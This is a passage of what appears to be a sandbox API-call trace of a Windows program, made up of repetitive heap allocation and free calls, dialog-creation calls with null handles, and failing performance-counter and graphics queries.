(dwErrCode=0x715) [0026.771] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.771] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.771] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.771] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.771] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.771] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.771] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.771] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.771] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.771] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.771] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.771] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.771] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.771] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.771] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.771] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.771] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.771] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.771] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.771] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.771] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.771] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.771] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.771] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.771] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.771] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.771] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.771] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.771] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.771] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.771] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.771] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.771] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.771] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.771] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.771] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.772] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.772] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.772] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.772] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.772] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.772] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.772] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.772] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.772] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.772] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.772] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.772] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.772] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.772] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.772] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.772] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.772] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.772] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.772] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.772] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.772] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.772] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.772] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.772] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.772] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.772] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.772] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.772] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.772] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.772] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.772] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.772] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.772] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.772] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.772] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.772] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.772] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.772] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.772] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.772] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.772] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.773] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.773] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.773] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.773] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.773] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.773] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.773] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.773] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.773] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.773] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.773] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.773] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.773] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.773] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.773] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.773] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.773] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.773] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.773] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.773] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.773] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.773] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.773] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.773] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.773] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.773] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.773] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.773] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.773] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.773] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.773] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.773] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.773] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.773] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.773] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.773] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.773] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.773] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.773] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.773] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.773] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.774] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.774] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.774] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193197003, cy=27, fuLoad=0x0) returned 0x0 [0026.774] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.774] GetLastError () returned 0x715 [0026.774] SetLastError (dwErrCode=0x715) [0026.774] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.774] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.774] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.774] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.774] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.774] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.774] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.774] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.774] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.774] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.774] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.774] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.774] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.774] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.774] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.774] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.774] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.774] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.774] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.774] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.774] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.774] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.774] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.774] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.775] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.775] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.775] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.775] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.775] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.775] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.775] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.775] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.775] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.775] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.775] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.775] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.775] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.775] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.775] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.775] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.775] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.775] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.775] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.775] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.775] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.775] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.775] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.775] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.775] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.775] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.775] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.775] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.775] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.775] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.775] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.775] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.775] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.775] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.775] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.775] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.775] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.775] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.775] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.775] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.775] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.776] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.776] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.776] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.776] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.776] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.776] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.776] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.776] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.776] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.776] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.776] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.776] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.776] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.776] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.776] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.776] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.776] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.776] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.776] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.776] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.776] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.776] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.776] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.776] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.776] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.776] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.776] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.776] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.776] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.776] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.776] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.776] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.776] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.776] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.776] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.776] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.776] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.776] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.776] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.776] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.776] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.776] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.777] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.777] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.777] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.777] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.777] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.777] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.777] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.777] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.777] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.777] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.777] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc 